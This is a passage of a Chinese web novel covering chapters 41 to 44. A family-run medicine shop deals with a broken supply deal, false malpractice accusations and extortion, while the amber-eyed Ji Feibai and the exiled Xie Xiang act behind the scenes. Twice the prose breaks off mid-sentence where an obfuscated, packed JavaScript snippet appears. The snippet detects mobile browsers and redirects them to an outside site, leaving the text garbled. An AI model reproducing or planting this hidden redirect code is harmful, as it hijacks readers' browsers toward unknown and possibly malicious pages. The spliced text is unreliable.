“天头也不热,开什么窗子!行了,赶紧洗漱吃早饭,今日要去城外送酒水。” 罗母嘴上厉害,其实吃完饭就去了隔壁医馆,买了一盒驱虫的香。 她来的时候天色尚早,医馆刚开门,陈山和她说了会话。后院,季飞白打拳结束在房里清洗好穿上衣服准备出门去,安素雪也起身了,连忙跟上道:“季公子,你什么时候有时间?” “听说书人讲故事?”他问。 安素雪点头:“是的,还蛮有趣的,你哪日得空闲告诉我,我请你去喝茶听故事表示感谢。” “和他们一起去?” 季飞白双臂抱胸,他人生的英姿俊逸,做出这等疏离傲慢的动作也不会让人觉得厌烦,那双琥珀色的眸子低垂看向安素雪。 “你让我和他们一起?” 在“我”这个字的时候他加重,眉梢扬起,透着几分意味深长。 安素雪没看懂他的神色,自然也没听出来他的话外之音。 “单独也可以的。” “没意思,”季飞白说了句,“故事我听的多了,耳朵都要听起茧子了。” 到底是大户人家,安素雪想,再怎么说季飞白也是官家之子,怕是吃喝玩乐样样精通。 “只有这一种方法?” 一般来说,如果表示感谢请对方喝茶或者吃饭,对方要么推辞,要么却之不恭。 安素雪还是第一次知道,原来可以提要求的。季飞白神情慵懒,琥珀色的眸子让她忍不住沉沦。 她甩了甩头,将注意力放在他的手指上,小声道: “当然可以有别的,或者你想吃什么,亦或者想要什么都可以提的,我照做就是。” 营救小竹子,季飞白简直功不可没。官府之人顺着两条官道追过去,如果他们也跟上,恐怕小竹子已经被带跑藏了起来,是季飞白按照踪迹带他们去往寺庙那条小路。而且当时在香佛寺,那个妇人明明用了障眼法想要逃脱,幸好有季飞白在,不仅识破了对方的诡计,还成功将人抓获。 这一桩一件,都是恩情。 “我欠你很大的人情,你说吧,说什么我都答应。” 晨光微曦,浅金色的碎光洒在明眸皓齿的姑娘脸上,不谙世事的清澈眼神注视着他,等待他的回答。 “什么都答应?” 早上一墙之隔的罗母训斥双生子的声音,被季飞白听的一清二楚 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“对啊,你不说我差点都忙活忘了,今日去进货。哎,前些日子定的货,说是今日能到,只付了十两定金,其余的说是等到了之后按照现价结算。” 安素雪疑惑的啊了一声。 “现在物价飞涨,恐怕药材价格要涨不少。如此一来,岂不是会坐地起价?” “那倒是不必担忧,我和章掌柜相识多年,他一直给我合理的价格,只不过这次因为物价涨了,他进货成本不确定,所以才说今日再算账的。” 陈山为人老实本分,这些年身边朋友虽然不多,但也都是实打实的真朋友,安素雪因此放下心来。 要取的货多,便借了一辆牛车,罗母见陈山出去拉货,忙把自家两个小子叫上。 “你们俩跟着过去帮忙呗。” “知道了娘。” 兄弟俩长的结实又能干,陈山连连道谢,还说羡慕罗家有儿初长成。 罗武笑着道:“再过几年小竹子长大了,就能帮衬了!” 陈山哈哈笑,罗武憨厚有趣,罗文伶俐会说话,一路上颇为融洽,陈山心情愉快。 只是这愉悦还没持续多久,在见到章掌柜时全部烟消云散。 “什么?没货了?可你明明答应过我,说让我今天来取。” “也是没办法的事情啊,”章掌柜双手摊开,一脸为难道:“别看我们城里安稳祥和,外面早就乱成一锅粥了,走南闯北的商队都不敢出门,生怕被抢!这么乱,谁还敢出去采买啊。” 陈山琢磨了一下,眉心浮现了川字纹。“不对啊,我上次来的时候明明看见你后院里都是药材,数量庞大,不可能这几天就卖完的。而且,你收了我的定金,不管如何,也该给我留下一份才是。” 罗文给罗武使了个眼色,两个年轻力壮的郎君往陈山身后一立,登时气势十足,那章掌柜原本眼珠子滴溜溜转,见此咧嘴赔笑。 罗文嗅到其中不对,厉声道:“说吧,是不是你将本该给我们的药材卖给了旁人?” 41. 第 41 章 城里还算歌舞升平,只是物价飞涨昭示着外面已经乱了。 陈家医馆多年不曾涨价,即使现在涨了价格,也比其他医馆来的便宜,况且陈山性格稳重医术高超,多方考量之下,陈家医馆是最好选择。 还有一个地方不同,那就是陈家医馆有两个貌美如花的坐诊大夫,陈香玉和安素雪。 当世女子可为大夫,但毕竟还是少数,就拿城里的几家医馆来说,都是让家里儿子继承衣钵,子承父业。一些未出阁的姑娘家患病,有时候难以启齿不想告诉男大夫,便会寻来陈家医馆找两位女大夫。因此,城里物价飞涨之时,陈家医馆生意越发兴隆。 陈山一早就出去采办药材,家里陈香玉和安素雪忙碌起来,看诊抓药,脚不沾地。 安素雪刚给病患抓好了药,那边陈香玉又开了一副方子交给她,“抓两副药给他。” 安素雪动作利落,抓药称量,包好之后温声嘱咐病患要如何熬药。 就在这时,有个中年男人走了进来,这人就住在附近,家里有个患病的老母亲,在陈家医馆抓了半个月的药了。 安素雪记得对方的药方子,不过还是找了医馆存档的方子,再对比他手里的,确定是治风寒之症的温和药方。 “我娘岁数大了,陈大夫说慢慢养着,这药还得喝半个月的才行。”那人站着和安素雪说话,询问道:“就是她最近吃的很少,大夫,你说怎么办啊?” 安素雪回答道:“对比之前少多少呢?” 这人也不大会说,就伸手比划着:“原来能吃这么大的馒头,现在只能吃这么大。” “可能是身体不舒服导致的,可以熬点粥,熬出米油来最好,多吃鸡子,如果方便的话,可以上门诊脉看看。” 中年男人憨厚笑笑:“谢谢大夫,先喝汤药,过几天再看结果。” 安素雪便转身去给他抓药去了,只是拉开药匣子,柳叶眉微蹙。 甘草没了。 她又去拉其他的柜子,发现需要用的药材没了大半,这可万万不成的。安素雪只得转过身耐心解释,还说一会药材就到,让他下午再来。 医馆里站着好几个病患,俱是因为没有药材而无法抓药。有人体谅说可以等等,也有脾气火爆之人,语气不好道:“什么时候回来?我抓药等着救命!” 陈香玉悄悄翻了个白眼,心道刚生病时候不来治,非要拖严重了才来,还等着救命,真是好意思说这话。 她看见安素雪好声好气的安抚那些人,陈香玉直摇头。 她可做不到脾气那么好,她又不欠这些人的,给钱看病,有来有往。现在他们没给药钱,医馆也没给对方抓药,两不相欠啊!凭什么要伏低做小,还要安抚他们情绪。 因为陈香玉什么都不管,所以这些人便都聚集在安素雪这边,她耐心解释了一遍又一遍,说药材一会就运送回来。 “大家尽可先回去,下午再来,若是实在等不及,也可拿着药方去其他医馆抓药。” 一提到去其他医馆,这些人顿时老实了。说来说去,就是因为陈家医馆抓药便宜,若是去其他医馆抓,恐怕要多付三成。 “我爹他们回来了!” 陈香玉一嗓子,将医馆的人都喊的转头朝外看去,果然看见陈山回来了。只是意外的是,他身后的牛车空空如也。 “爹,不是去取药材吗?”陈香玉最先跑出来,“药材呢?” 陈山深深叹了口气。 罗文代为回答:“出了差池,要过几日才能取。” 对话被医馆里的人听的分明,有人沮丧离开打算多花钱去其他医馆抓药,也有人站在那气不打一处来,道:“陈大夫,我等着药材救命呐!” 陈山这人温吞,解释说过几日才会有药材。那人不依不饶:“我都说了等着救命!断一天的汤药就多一分危险!陈大夫,你是大夫,这不是见死不救吗?” 在场的都是医馆的老主顾,陈山甚至记得他们为何来看诊,甚至记得给他们开过的方子。可现在,这些人联合起来指责他,加之,早上在章掌柜那什么都没得到,陈山再心善老实,也难免生气。 “诸位等不及可以去其他医馆抓药,城里并非只有陈家一个医馆,完全不会耽误诸位治病,请吧。” “陈大夫,你什么意思?”又有其他人出声,“我们都是信任你的医术才找你看病,这些年都是如此,你一句话就把我们打发到别人家了?再说了,你不是不知道,现在抓药贵,两副药的钱到了别家医馆恐怕只能抓一副,这个损失谁来承担?” “你说话好生没道理。”罗文看不过去帮腔道:“我们并未强买强卖,如今没有药材也非本意,是供货掌柜不守信用,收了定金却将药材卖给其他人,所以才导致医馆药材缺失,你若是真要怪罪,那便去怪章掌柜。” “是啊,”罗武也上前,“看诊治病,钱货两清,好声好气的和你们解释,你们倒还怪罪上了,说白了,谁也不欠谁的!” 这话就有点重了,陈山性子温和,从未说过这种重话,陈香玉连连点头,觉得罗武说出自己心里话,朝他投去赞许的眼神。 话糙理不糙,怼的方才说话二人哑口无言,真解气! …… 医馆里不少药材都见底了,安杏花说让陈山将医馆关了休息几日,等到药材来了再开也不迟。但陈山怕总来看病的百姓怕花钱不去别人家看诊,到时候病情严重。 “你啊,就是太善良,安安像你。” 夫妻俩坐在屋里叙话,小竹子已经午睡了,陈山便低声笑道:“安安心地善良,是个好姑娘。” “你也是好人,”安杏花嗔道:“就是有时候太过善良了,不是有句话说‘人善被人欺’,他们呀,就是看你好说话才这般粗鲁无礼的。” 陈山倒是不在意这些,他只在意什么时候能给他药材。早上时候罗文和罗武一个威逼一个利诱,套出实话。原来是有其他人高价将本该给他那份买走了,章掌柜赔笑道:“陈大夫,你看,事情已经这样了,我也不能将药材追回来,所以这次就算了吧,我保证,过几日的药材,先给你留!” 事已至此,确实没办法。 “我一会去别人那看看,尽量早点补货。” 安杏花道:“会不会贵 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安杏花嘴上说着破费,实际上已经推陈山让他去卸货了。 季飞白扬起一抹笑:“做事的东家给的,现在出去买贵的吓人,一斗米要八十文。” 他们家人多,一斗米只能吃三四天左右。 “八十?”安杏花扯着嗓子尖叫,“他们怎么不去抢!” 正因为如此,季飞白带回来的米面越发显得珍贵了。陈山上前去卸货,季飞白道:“我来吧。” 说完,轻松的拎起一袋米搭放在肩膀上,穿过医馆往后院去了。 陈山也要效仿,只是刚从马背上拽下来就吃不住劲,砰的一声米袋子落在了地上。 “小心些,”安杏花本想说掉地上有灰,但说出口的却是,“你腰不好,多注意,让年轻人来扛吧。” 瞧着季飞白清瘦,还真有一把子力气。男人啊,得身板子好才成。安杏花看季飞白,怎么看怎么满意,尤其是对方还带回来一包粗盐。 “路过顺手买的。” “幸亏飞白买了,我差点忘了家里没盐了!” 之前就囤好的米面加上今日的这些,起码够他们一家子吃到冬日里。安杏花挽起袖子,道:“安安,你跟着娘去拿八角放粮食袋子里,防止生虫。” 陈山则是站在那和季飞白叙话,问他做活是否辛苦云云。季飞白一一作答,陈山点头,末了道:“现在外面正乱着,你莫要出城,若是缺钱大可以同我说,你父亲给的一百两分文没动,肯定是要给你的。” 之前就拒绝过了,这次季飞白肯定也不会要。 家里的愁云,好像因为季飞白带回来的米面而消散不少,但季飞白走的时候看的分明,陈山抚着药柜叹气。 原本季飞白该朝南去,但他策马朝着北边走了。 与此同时的谢府,领命而去的李昌带着属下也朝北前行。 罗家酒馆,搬完酒水的罗武擦了把汗,下巴朝外撇:“大哥,走?” 罗文起身,“走。” 三拨人,俱是去一个方向。 42. 第 42 章 因为药材不全,所以陈家医馆的三个大夫只能看诊,无法抓药。 安杏花摘着韭菜,念叨着:“也好,你陈叔叔能多休息几日。安安你也看见了,他全年无休,去岁除夕时还有病人找上门,他去给人家看病,初一早上才回来。” 在夫妻相处之道上,安杏花是个聪明女人。 她没有任何怨言,一心一意的照顾陈山,照顾这个家里。她也是真心疼陈山,觉得这是个休息的好机会。院子里,陈山久违的陪着小竹子玩闹,父子俩其乐融融。 这幅画面是安素雪最为喜欢的,会心一笑道:“是,休息几日。” 早上给三个病人看诊之后,只得让他们去其他医馆开方子。其实完全可以去别的医馆把脉看诊,但病人说来这里习惯了,而且觉得陈大夫医术高超看的好。 能被百姓如此信赖,陈山越发着急药材的事情,晌午时候只吃了一口饭,听见前面有吵闹之声。 “爹,不好了,你快来看看。”陈香玉花容失色的回到后院,一看就知道出事了,陈山连忙往外走,安杏花不放心,带着小竹子也紧随而至。 院子里本来在熬膏药的安素雪熄火,擦手后小跑着跟上。 医馆里站了几个人,为首的是个年轻人,手里捏着一张纸,正在破口大骂。 “大家都来评评理,我媳妇从陈大夫这里看诊,他陈山开的方子,可谁成想抓药回去吃,上吐下泻,嘴里都吐黄水了!” 嗓门大的将附近邻里都引了出来,还有不少路人驻足,很快就将医馆围的水泄不通。 陈山皱眉,表示想看看药方子,那人不给,还说什么怕毁灭证据,不止如此,他嘴里不干不净,气的陈香玉直接和他对骂。 人又多又吵闹,小竹子被吓的嚎啕大哭,安素雪抱起来孩子将其交给安杏花。“娘,你带弟弟去后院吧,这里有我们。” 安杏花帮不上忙,又怕人多手杂,孩子丢了可就遭了,于是退回后院,安素雪将门关好。 “既然让大家评理,总得先看一眼方子才是。” 陈香玉和那人吵的不可开胶,安素雪温声说话,那人哼了一声,随即将药方子递给安素雪。“看就看!” 安素雪大致扫了一眼后交给陈山,陈山点头:“确实出自我手,如果没记错的话,就是今日早上开的方子,来看诊的是个年轻女子。” “好啊,你承认了是不是?大家伙好好看看,这人是庸医!庸医!” 跟他一起来的人也开始大喊起来,吵的安素雪脑仁疼。 这面的动静自然是传到了谢府,奴仆一五一十的禀告,上首处坐着,正和自己对弈的谢骧淡声道:“小事而已,不必插手。” 果然,不到一盏茶的功夫,再来禀报时,事情已经解决。 “那边处理好了吗?” “回主子,李大人亲自带人处理,想必很快就能圆满解决。” 汇报时,滚地锦喵喵叫跑了进来,桌子上有几碟糕点,大致是香气吸引了馋猫,它一条腿绑着树枝也没耽误跳上凳子,再从凳子跳上小桌。 “奴婢这就将狸奴赶走!” 侍候的人都知道,主子不是喜欢这只滚地锦,只是闲来无事养着玩玩罢了。也不能说是玩玩,主子甚至没主动看过它,还是今日这只滚地锦自己跑进来,一人一猫才得以相见。 “京城不少贵人都喜欢养狸奴。”谢骧突然出声,要撵猫的红袖闻声停下动作。 谢骧拿过碟子里的一块糕点放在手心里,那滚地锦刚开始不敢靠近,一双眼溜溜的眼睛看着谢骧,过了片刻,竟然走几步低头吃糕点去了。 谢骧突然轻笑,捏住滚地锦的后脖子,一只手拎过来放在腿上。 能悄悄跑出来的猫儿,肯定不是善茬,方才为了抓它,好几个丫鬟被挠伤,但到了谢骧身边,一动不敢动。 谢骧摸着它后退处,轻嗤道:“怎么,你也是在等她来?” …… 早上那件事虽然被化解,但安素雪还是觉得心里不安稳。而且家里愁云惨淡,不是她希望的景象。 晌午吃过饭之后,安素雪借口出去逛逛,独自找去了章家。 她以前来过一次,不过章掌柜不记得她,安素雪说明身份和来意,在章掌柜说话之前先拿出一张纸。 “和掌柜合作多年本是信得过你的,但出了这样的事情,想必就该公事公办。这是我拟的合约,一式两份,掌柜的看看,若没有异议的话,还请你签字。” 陈山给了十两银子的定金,相识多年也算知根知底,便没约定成书。安素雪在家想了好几日,她既不能压着章掌柜,让他把卖出去的药材取回来,也不能凭空变出药材,只能尽力弥补损失,若是对方再食言,也可惩罚他。 唯一难的点在于,怎么才能让章掌柜答应并且签字。 午后的日头更为毒辣,安素雪一路走来热的冒汗,一张脸也是红扑扑,但站在她对面的章掌柜却面色惨白,额头沁着冷汗。 这都是什么事儿啊! 今天一早,之前来过的双生子找来,放狠话告诉他等药材到了必须给陈家。两个年轻气盛的年轻人,章掌柜糊弄着也就过去了。 谁成想,刚送走就又迎来几个人。 为首的是个中年男子,一进来就问:“你将那批货给谁了?” 气势汹汹,好似要杀人越货一般。章掌柜皱着眉头,刚要如法炮制将人糊弄走,就听那人道:“你不说,我也有的是法子知道信不信?” 章掌柜打量对方,除了这人眼神犀利外,没什么特别。正转脑子想怎么应付的时候,那人道:“你夫人带着女儿回娘家了,娘家在牛家镇上街第二户人家,现在家里只剩下你和大儿子。之所以没回去,是因为他爱慕一个姑娘,他每日都会假装路过见那姑娘一面……” 越听,章掌柜的脸色越白。 这些私密之事,他一个外人是怎么知道的?章掌柜汗如雨下,知道自己惹上了不该招惹的人,因此不管对方说什么都全数应下。 总算送走了人,章掌柜拖着发软的双腿去关门,打算今日闭门不见客。眼看着大门就要关闭,就在还有一指距离时,嗖的插进一柄剑。 “章掌柜。” 章掌柜头皮发麻,这又是哪路神仙啊! 透过缝隙看见来人是琥珀色的眼眸。“章掌柜,不如让我进去说?” 看似客气,实际上剑尖已经往里探了,章掌柜明明两只手紧紧推着门,可那剑嗖的一声进来,就在他鼻尖寸许之处! 剑未出鞘,凌冽剑气却逼人。章掌柜嚎了一声,手上脱力院门开了,走进来一个异域少年。 “谈谈?”容貌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872133|155415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昳丽的人扬眉,笑起来时候却叫章掌柜瘆得慌。 谈了两三句,章掌柜立刻应下,保证会先给陈家供货,就在还要说什么的时候,第四次敲门。 “去开门。”那人抱剑于胸,神色坦然,好像完全不担心章掌柜大喊大叫报官似的。 实际上经历这么几遭,章掌柜已经心服口服了。他认识陈山多年,从来不知道老实本分的陈山竟然认识这么多英雄人物,早知如此,他也不会犯下错误,造成今日之事。 开门后,妙龄少女拿出来合约言明意思,章掌柜当然不会签字画押!他下意识的就要拒绝,可突然听见了一声剑出鞘之声。 “好好,安姑娘是吧?你稍等,我这就取笔墨过来。 安素雪惊讶,没想到如此容易,甚至从章家出来,她都觉得如梦似幻。 出来前她没告诉家里人这件事,因为她不想让家人担忧,但既然事情办成了,便将此好消息告知,陈山惊喜的看合约,安杏花也高兴,同时担忧道:“安安,下次不许冒险,听说现在城外乱着呢,城里也有点混乱,你和香玉都不要独自出门,知道了吗?” “知道的。”安素雪乖巧答话,陈香玉没吭声。 城里有官府,能出什么乱子。 陈山小心翼翼的将合约折好,慈爱笑道:“此事多亏了安安,他若是履行职责好好将定下的药材货物给我们,事情便也算了,若是他又反悔,将药材高价卖旁人,我就将合约送去衙门,让官老爷给我们做主!” 可药材到底没到手,医馆这几日几乎没什么人,安素雪想了个法子,说是可以义诊。 陈山闲不住,让他呆着比什么都难受,而且看诊就一个铜板,不如义诊。这样一来那些没钱看病的老百姓受益,他们也能找事情做。 陈山道:“此举甚好!” 安素雪自然也乐意至极的,陈香玉不知道想了什么,半响之后也同意了。 在陈家医馆门前挂了牌子,上面还写了义诊的时间,每日上午一个时辰,下午一个时辰。 刚义诊一天,就赢得了附近百姓们的交口称赞,不少百姓口口相传,越来越多人为了不花钱看诊而大排场龙。 义诊时间不得不提为每日三个时辰。 这可和平日里行医问诊不同,一个接一个的看诊,根本没有休息时间,甚至安素雪都不敢喝水,怕去方便耽误义诊。 一天下来,原本饱满的唇干巴巴的,漂亮的脸也气色不好。陈香玉研磨了玉容膏,姐妹俩敷面用。 晚上季飞白回来,见安素雪坐在院子里,正背对着他捣鼓着什么。 “喂,在做什么?” 安素雪回头,季飞白忽地后退半步。 一张脸敷了不知什么东西,只露出一双眼睛,白花花的在晚上像是纸人。 “你回来了。”漂亮的眼眸眨了两下。 季飞白不再看她,直接从怀里掏出一个什么东西扔了过来,正好落在安素雪手心里。 低头一看,精致的小盒子散发着梅花清冽香气。 是城里出名胭脂铺子的口脂。 “是买给我的吗?” 季飞白已经从她身边走过去了,留下一句。 “路边捡的,没人要就给你了。” 安素雪看着他背影,心想他可真是一个别扭的人。 43. 第 43 章 事情本该圆满解决才是,陈山这样以为,安素雪也是这样想,他们父女三人日日做义诊,等着药材送过来,医馆照常开业。 但没想到,义诊的第三天就出事了。 先是有人在看诊之后倒地不起,陈山连忙叫人拿水,另外提起药箱子,找到银针,当时就开始施针,过了一盏茶的功夫那人悠悠转醒。 虽然救了人,可不知道谁传出去的风声,说陈家医馆的三个大夫医术不精,竟然连病人什么毛病都看不出来,就知道针灸,而且翌日那人寻了过来,说自己头疼的厉害,非说是因为陈山往他头上扎针的缘故。 “我爹那是救你!”陈香玉气不打一处来,她脾气火爆,当即和那人理论起来。 他们正在义诊,还有不少百姓在排队,出了这种事情,大家光顾着看乐子了。安素雪默不作声的撤掉义诊的牌子,同时温声道:“不好意思,今日我们休息,请大家明日再来。” 百姓们自然有不乐意的,“我们排了一刻钟了,说走就走啊?” 也有人仗义执言,“人家本来就不收钱,你这人好生挑剔,占了便宜没够!” 不一会,大多数人散去,还有一小部分打算看热闹的。那人咬住了说头疼,陈山问他怎么个疼法,他支支吾吾的说不出来。 陈香玉看的生气,和安素雪道:“就怪你,非要弄什么义诊,现在好了,被人赖上了。” 安素雪心里过意不去,上前来说要帮那人看诊,可那人说什么也不看,还说怕被害死。陈山问他到底要如何,那人指着自己脑袋。 “你把我看坏了,我上有老下有小,就指着我一个人挣钱,现在我挣不了钱无法养家糊口,你说怎么办?” 陈山听懂了,“你想要钱?” “是你把我脑袋治坏了,不该你赔偿吗?来啊,大家伙评评理,是不是该给我赔偿?” 看热闹的都是附近的人,都知道陈山的脾气秉性,就是个老好人,因此大多数不吭声,不认为陈山该赔钱,但没想到人群里不知道谁说了句:“是啊,赔钱!” “进来说话吧。”陈山邀请那人进屋,就是不想让被人看笑话和添麻烦,关起门来商量总是好的。 谁成想那人竟然不进屋,就要在众目睽睽之下要钱。 陈山皱眉,他活了四十多年,虽然温吞老实,但并不代表他傻,这人摆明了是要讹人。 “我帮你治病,治到头不疼了为止,若是你不想在我这治疗,那我可以带你去旁的医馆,城东边的回春堂坐镇大夫经验老道,你是什么毛病,让老大夫一看便知。” 那人突然哑口无言,像是不知道该怎么应对了似的。 安素雪和陈香玉都默默站在陈山身后,不管他做出什么决定,他们都是一家人,都会支持。 陈山继续道:“我给你针灸之时,有不少人看见了,大可以重演一遍,让其他大夫看是否我的针灸之术有问题,有问题我认,但没有问题的话,便是你无理取闹了。” 百姓们七嘴八舌的讨论起来,不少人都替陈山说话,还有一些人看破那人的心思,喊道:“呸!你个不要脸的,人家好心给你治病,你竟然讹人!” 眼看着局势一边倒,那人灰溜溜的跑了,陈香玉想要拦住他,陈山制止。“莫要追了,此事就算了结。” “爹!我们抓住他扭送官府,让人知道我们不好欺负!” “多一事不如少一事,算了,今日就休息吧。” 医馆关门,一家子在后院里纳凉说话,陈香玉闲不住,呆了一会就出门玩去了,陈山让安素雪也出去,说难得无事,叫她和手帕交逛街买东西,小姑娘都喜欢买胭脂水粉,叫她也买一些,钱他出。 安素雪说不用出去的,她有胭脂,还有口脂,陈山便没多问了,但安杏花了解女儿,她自己可从来没买过那东西,口脂哪里来的? 等陈山带着小竹子去一旁玩时候,安杏花低声询问:“是罗家兄弟送你的口脂?” “不是。” 安杏花眼睛一亮:“是谢公子吧?” “是季飞白。” “他?” 安杏花着实没想到竟然是季飞白,住了这些日子,安杏花多少了解这位异域少年的性子,冷漠疏离,现在整日不在家,更没怎么说过话了。 竟然是他吗? 安杏花琢磨了一会,年龄和阅历让她嗅到一丝不同寻常来。 更不同寻常的是,下午时候季飞白回来了,还说之前闹事的人是其他医馆派过来的,将事情一五一十的说了,陈山皱眉。 “他们何故害我?” 季飞白道:“大抵是看陈叔生意好来的百姓们所以眼红,才出此下三滥的招数。” 之前城里其他医馆调价,陈山一直按着不动,是后来涨的太厉害了,他才调整,不过照旧比其他医馆便宜。 也正因如此,他的货才会被截胡,他们义诊时候才会有人来找茬。 思索明白之后,陈山点头,“好,我知道了,飞白今日怎么回来的这般早?做事还顺利吗?” “还算不错。” “既然早回来,晚上就在家吃吧,我出去买烧鸡,杏花啊,你做两个小炒,我们俩喝一杯。” “哎,安安,你去隔壁买两坛子酒回来,要不上头酒劲小的,去吧。”安杏花颇为高兴,在季飞白没来之前,家里只有陈山和小竹子两个男的,小竹子年岁小,也没法陪陈山喝酒,因此,陈山也不怎么喝。 这几日事情多,陈山心里大抵是苦闷的,喝点酒排解排解是好事。 晚上推杯换盏,陈山先醉倒了,季飞白像是没事人一样,不过细看之下,他眼神不复往日的清明,耳朵灿红。 “你没事吧?” 夜深了,安杏花照料陈山和小竹子休息,陈香玉今日出去玩也累了,吃完饭就去睡觉,安素雪将厨房收拾好出来,手里端着一碗汤。 “给我的?” “嗯,醒酒汤,喝完睡一觉明天不会头疼。” 季飞白没客气接了过来,本想仰头一饮而尽,安素雪连忙提醒:“还热着,晾凉了再喝。” “你对罗家兄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14876516|155415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟也是如此温柔小意?” “什么?”他声音小,安素雪没听清,季飞白却怎么也不肯重复了,慢慢啜了一口汤,滋味寡淡,但喝完确实舒服一些。 安素雪落座在他身边,抬头看天。 入夏之后月光明亮星光闪烁,适合赏星赏月。 “过几日药材到了,危机便可解除。”安素雪露出一抹笑意,“一切就和以前一样了。” 季飞白侧过头看她。 “你很担心发生变化吧?” 安素雪迟疑了片刻,点了点头。 这些旁人都不知道的,她也不太想让被人知道,也不知道季飞白怎么知道,或者看出来的。 许是夜色太美,许是这几日紧绷的弦终于可以松懈下来,觉得和他说说,似乎也没什么的,于是她低声道:“现在的日子安稳祥和,我想一直过这样的日子。” 夫妻恩爱,子女孝顺,门楣光荣。 还有什么比现在的日子更好呢? “世道乱了,或早或晚,战火就会波及此处。”季飞白毫不留情的戳破她的幻想,“你的安稳日子兴许过不了太久。” 这话引的安素雪蹙眉,“怎么会?现在乱应该也只是暂时的,若是城里乱起来,官府会阻止。” “朝廷不会管底层百姓死活,我这一路走来,见到了悲伤离合生死离别,有的是非常小的事情,官府管一管,也不会酿成悲剧,但没有,官府不会管,这世道,就是如此。” 安素雪想到小竹子丢了时候,他们要塞银子给官爷,人家才肯派人出来找人。 安素雪不确定了。 如果真的乱起来,他们该怎么办?难道美好平和的日子就要远去了吗? 紧张焦虑,安素雪忍不住蜷缩手指。 季飞白摇了摇头,暗道自己当真是醉了,何故说这些让她提前担惊受怕? “放心,不管如何,我都会护你们周全。” 安素雪没言语,季飞白以为她不信,刚要说什么,就听身旁人声音怯怯道:“你……你要不要趁着还不算乱,回家看看?” 那封来自远方的信道明季飞白身份,可安素雪不觉得有什么,就算他爹不喜欢他,那他还有娘亲呢?应该会想回去看看吧。 “不了,”季飞白不知为何回答的格外干脆,“我暂时不回去。” 话是如此,可安素雪发现他仰头望天,方向正是他的家乡。 肯定也是想家的吧,如果是她,怕是刚离开家一天就受不住哭了。 …… 或许是夜谈吐露心声拉近了两人距离,早上季飞白收拾好要走时,朝着安素雪点了点头。 他的马就系在后门处,上马后直奔城门。 到了之后已经有几个骑马之人等着了,围着一辆马车,车上是谁季飞白不关心,他的任务就是将马车里的人安全送到城外的庄子上。 现在城里还算祥和安静,城外早就乱成一锅粥了,刚出城门便有流民围上来,若不是有他们几个骑马的守着,恐怕已经被摸上车,吓到车里之人了。 44. 第 44 章 “飞白,一会我们还要去下个庄子送东西,你直接回城回镖局吧。” 将马车送到后,这些人的任务便也就完成了,等着五日后再来接人就成。同行的几个人年岁都比季飞白大,为首的已经而立之年,眼神炯烁,声音洪亮,一看就是练家子。 实际上这些人俱是城里镖局之人,之前那份护院的活计做的不愉快,季飞白便辞了,找到现在这份工,虽他年纪小,但阅历深功夫好,镖局之人当即收了他,给出的报酬不低。 远道的他去不了,但出城护送的活还是能干的,城里都不安生了,城外更是乱成一团流民当道,他们镖局的生意格外好,今日除了护送马车之外,还接到护送物件的活儿,因此心情大好,让季飞白回去休息,他们去做事。 季飞白说和他们一起去,张镖师朗声笑道:“你回去也不是没事做,最近不是在学枪法吗?一寸长,一寸强,你回去好好练着,有用上的时候。” 季飞白不是没有眼色之人,当即应下,调转马头往城门方向去。 马蹄抬起,沙土漫天,季飞白皱着眉头减缓了速度,不叫黄土溅在路人身上。 与前几日相比,赶路的流民明显数量增多,他们俱是一脸麻木和疲惫,命知道没有牙牌无法进城,可还是赶来,为了那一丝渺茫的希望。 马匹速度慢了不少,季飞白似乎也心中有事,正低头沉思着什么,忽然听见动静,而后感觉身后有人贴了上来。 季飞白头都没回,下意识的肘击过去,却打了个空。 “好小子,你乖乖不要动,我们一起进城就行。” 说话的是个男人,他身法很快,在避开季飞白的同时,一只手从后方捏着季飞白的脖子命门处,对方的力气很大,显然若是不配合,他会直接扭断季飞白的脖子。 “你若是想进,大可以自己进。” 季飞白方才侧头只能看见男人邋里邋遢,应该是故意打扮成这样混在流民里。那人笑了:“我这人,就是怕孤单,自己上路多没意思,有个伴说说笑笑热热闹闹的多好。” 话是这么说,可季飞白心里明镜似的,对方就是没有牙牌。 “年轻人,你莫不是以为我没有牙牌?” 下一瞬,季飞白眼前便晃过沾满油渍的牙牌,因为只是一晃而过,所以他没看清上面写的什么。 就是这么一瞬,给了季飞白机会,他再次肘击对方,那人捏着他命门的手指收紧,微微侧身,笑着道:“刚才一击不中,竟然还来?” 只是笑容还未扩大,突觉肋下一痛。 他低头,才发现不知道什么时候腹部插了一支小匕首。 惊愕的瞬间,被季飞白发现机会,当即将人顶下马,然后丝毫没有迟疑,立刻驾马离去。 那人的功夫了得,伤势只能阻挡一时,若他再耽搁一会,说不定那人卷土重来。 顺利到了城里,季飞白抿着唇,回想方才的一切,觉得那人说不定就是土匪之流,手里的牙牌应当也是假的,否则大可以自己进城。 竟然乱成这样了。 季飞白紧皱眉头,总有种会越来越乱的预感。 “乱起来好,乱起来才能浑水摸鱼。” 说话的是谢骧的幕僚,那个儒雅的中年男人。有消息传来,说是局势越发混乱,甚至有京城的世家混入其中。 “若真是如此,殿下,说不定我们有大好机会!” 今日黄鸿年等人前来,就是为了再次劝谢骧趁此机会做些什么。当时从京城离开如同丧家之犬,难道他就不想回京城吗? “你应该知道,若我起势,那便是造反。” 